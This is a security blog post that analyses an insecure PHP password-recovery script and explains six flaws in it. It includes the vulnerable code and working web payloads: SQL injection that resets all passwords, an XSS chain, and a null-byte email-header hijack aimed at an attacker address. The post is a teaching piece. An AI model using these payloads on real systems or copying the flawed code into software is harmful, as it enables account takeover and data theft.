Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Exploiting Password Recovery Functionalities

Password recovery functionalities can result in vulnerabilities in the same application they are intended to protect. Vulnerabilities such as username enumeration (showing different error messages when the user exists or not in the database), sensitive information disclosure (sending the password in clear-text by e-mail to user) and recover password message hijack (involving an attacker receiving a copy of the recover password message) are some common vulnerabilities that may be found in a password recovery functionality. Various developers don't take into consideration the real implications of unsecure password recovery, and this blog post will show how things get complicated when developers don't apply basic security practices to this kind of functionality.

An example of a good password recovery functionality generates a token and sends this token by e-mail to the user as a one-time password recovery method (commonly as a link). This token should have the following characteristics:

  • have at least 64 chars in length
  • be unique
  • be random
  • be one-time use only
  • and have a short life (expire in 24h or less)

 

When a user clicks the link, the application must check if the token is valid. If so, the application must invalidate the token so it can't be reused and allow the user to change his password. Furthermore, if a user attempts to recover their password a second time before completing the recovery process the first time, the application must invalidate the old password request and generate a new one. It's desirable (but not mandatory) to have a second validation for the authenticity of the password recovery attempt before changing the user's password. An example would be asking the user to answer a secret question or confirm data sent to the user's cellphone via SMS.

Now, let's examine a real-world example of a badly designed password recovery system, enumerate all associated vulnerabilities and try to generate exploits for some of these vulnerabilities:

1:  <?php  2:    3:  /* generates a new random password */  4:  function generatePassword() {  5:       $chars = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");       6:       for ($i = 0; $i < 10; $i++){            7:            $password .= $chars[rand(0,35)];  8:       }  9:       return $password;  10:  }  11:    12:  /* send the new password to the user e-mail and update the database */  13:  if ($_REQUEST['mail']) {       14:       $con = new Connection();  15:       $con->sql = "  SELECT usr_user.id,   16:                      usr_user.name,   17:                      usr_user.email,   18:                      usr_user.password  19:                  FROM  usr_user   20:                  WHERE  usr_user.email = '" . $_REQUEST['mail'] . "'  21:                  ORDER  BY id DESC ";  22:       $res = $con->executeQuery();  23:       if (is_array($res)){  24:            $usr = $res[0];  25:            $password = generatePassword();  26:            $con->sql = "UPDATE usr_user SET password = MD5(trim('".$password."')) WHERE email = '" . $_REQUEST['mail'] . "' ";  27:            $con->executeQuery();  28:              29:            /* headers */  30:            $headers = "MIME-Version: 1.0\r\n";  31:            $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";  32:    33:            /* aditional headers */  34:            $headers .= "To: " . $usr->name . " <" . $_REQUEST['mail'] . ">\r\n";  35:            $headers .= "From: Administrator <administrator@xxxxxx.com>\r\n";  36:              37:            /* message body */  38:            $html = '<html><body>';  39:            $html .= '<p><strong>' . $usr->name . '</strong></p>';  40:            $html .= '<p>This is the new password: <strong>' . $password . '</strong></p>';  41:            $html .= '<p>To access the administrative panel: http://www.xxxxxx.com/admin/login.php</p>';  42:            $html .= '<br/><p>Administrator</p>';  43:            $html .= '</body></html>';  44:         45:            /* Send e-mail to user with his new password  46:            if (mail($_REQUEST['mail'], "Your new administrative password", $html, $headers)){  47:                 $message = "Your new password was sent to: " . $_REQUEST['mail'];  48:                 $success = true;  49:            }  50:       } else {            51:            $message = "The provided e-mail is invalid";  52:            $success = false;  53:       }  54:         55:  }  56:    57:  ?>  58:    

Username Enumeration:&nbsp;

The first vulnerability we can identify, is a user enumeration vulnerability, because when the user supplies a registered e-mail, the application will reply with "Your new password has been sent to: email@email.com". Otherwise, the application will reply with "The provided e-mail is invalid".

2.&nbsp;&nbsp;&nbsp; Denial of Service:

The second vulnerability we can identify is a denial of service abusing the functionality of password recovery because this application changes the actual password of user to a new/randomly generated password (as you can see in the lines 25-28). That way an attacker could create, for example, an automatic script to abuse the functionality by resetting user passwords every 15 seconds and blocking real users from loggin into the application. And, in combination with a username enumeration vulnerability, the severity of this vulnerability increases.

&nbsp;3.&nbsp;&nbsp;&nbsp; Sensitive Information Disclosure:

The third vulnerability we can identify is sensitive information disclosure because the application sends an e-mail to the user with the newly generated password in clear-text and doesn't force the user to change his password the next time he logs in. So, if an attacker compromises the e-mail of a user and the user forgets to change their password the next time they log in, the application can be accessed by the attacker using the original e-mail message.

&nbsp;4.&nbsp;&nbsp;&nbsp; SQL Injection:

The fourth vulnerability we can identify is&nbsp; SQL Injection. User input is not properly validated and directly concatenated to the query string in the lines 15 and 26. An attacker can exploit this vulnerability in a number of ways.

&nbsp;The first is through denial-of-service by abusing the update query and changing all users password by supplying the following input:&nbsp;

  • Input:' or 1=1%23
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = '' or 1=1#' ORDER&nbsp;&nbsp; BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim('xxxxxxxxxx')) WHERE email like '' or 1=1#'

Another attack vector would be using this SQL Injection to recover other types of information from the database via blind queries. Unfortunately we can't use this vector to recover the md5 hash of passwords from the database because all blind requests where the response is "True" will actually change the password of all users when the application executes the update query.

&nbsp;5.&nbsp;&nbsp;&nbsp; Reflected Cross-Site Scripting:

The Fifth vulnerability we can identify, is reflected cross-site scripting. In the reply message provided by the application in line 47, the user input $_REQUEST['mail'] is directly concatenated to the response message (without any treatment) when the application finds a valid username in the database. To exploit this vulnerability we will need to combine this vulnerability with the SQL Injection by supplying the following input to the application:

  • User Input:' or 1=1%23<script>alert(1)</script>
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = '' or 1=1#<script>alert(1)</script>' ORDER&nbsp;&nbsp; BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim('xxxxxxxxxx')) WHERE email like '' or 1=1#<script>alert(1)</script>'
  • Response Message (Line 47): Your new password was sent to: ' or 1=1#<script>alert(1)</script>

So, as we can see, the application will accept the input as a valid SQL statement changing all user passwords and will return the message described above to the user browser to trigger the malicious script.

6.&nbsp;&nbsp;&nbsp; Password Recovery Message Hijack:

And last but not least, the sixth vulnerability we can identify is password recovery message hijacking. As we can see in the line 34, the application concatenates the user input $_REQUEST['mail'] directly to the MIME message header instead of using the registered user e-mail. To exploit this vulnerability we will need to combine this vulnerability with the SQL injection vulnerability by supplying the following input to the application:

  • User Input:valid-email@attacker.com%00' or 1=1%23
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = 'valid-email@attacker.com[null byte char]' or 1=1#' ORDER&nbsp;&nbsp; BY id DESC&nbsp;
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim('xxxxxxxxxx')) WHERE email like 'valid-email@attacker.com[null byte char]' or 1=1#'
  • MIME Header becomes (Line 34): To: John Smith <valid-email@attacker.com[null byte char]' or 1=1#>

Just like the exploitation of reflected cross-site scripting, the queries 1 and 2 will be valid and will reset the password of all users because doesn't exists a registered e-mail with 'valid-email@attacker.com[null byte char]' and will send a e-mail to John Smith <valid-email@attacker.com[null byte char]' or 1=1#>. But, as we all know, the e-mail MIME header will be treated as a string and the [null byte] will be considered part of that character string. So, as is also known, the null byte represents the end of a character string and because of this behavior will kill the rest of that string. In this case the MIME header becomes John Smith <valid-email@attacker.com>&nbsp;allowing the attacker to hijack the password recovery message and discover the password generated for all users (because all users passwords are changed in the update query).

With this real world example, we can see that a simple password recovery system can possibly add six or more vulnerabilities to an application.

Hope you enjoy! :-)

Keep Hacking!

Latest SpiderLabs Blogs

Hunting For Integer Overflows In Web Servers

Allow me to set the scene and start proceedings off with a definition of an integer overflow, according to Wikipedia:

Read More

Welcome to Adventures in Cybersecurity: The Defender Series

I’m happy to say I’m done chasing Microsoft certifications (AZ104/AZ500/SC100), and as a result, I’ve had the time to put some effort into a blog series that hopefully will entertain and inform you...

Read More

Trustwave SpiderLabs: Insights and Solutions to Defend Educational Institutions Against Cyber Threats

Security teams responsible for defending educational institutions at higher education and primary school levels often find themselves facing harsh lessons from threat actors who exploit the numerous...

Read More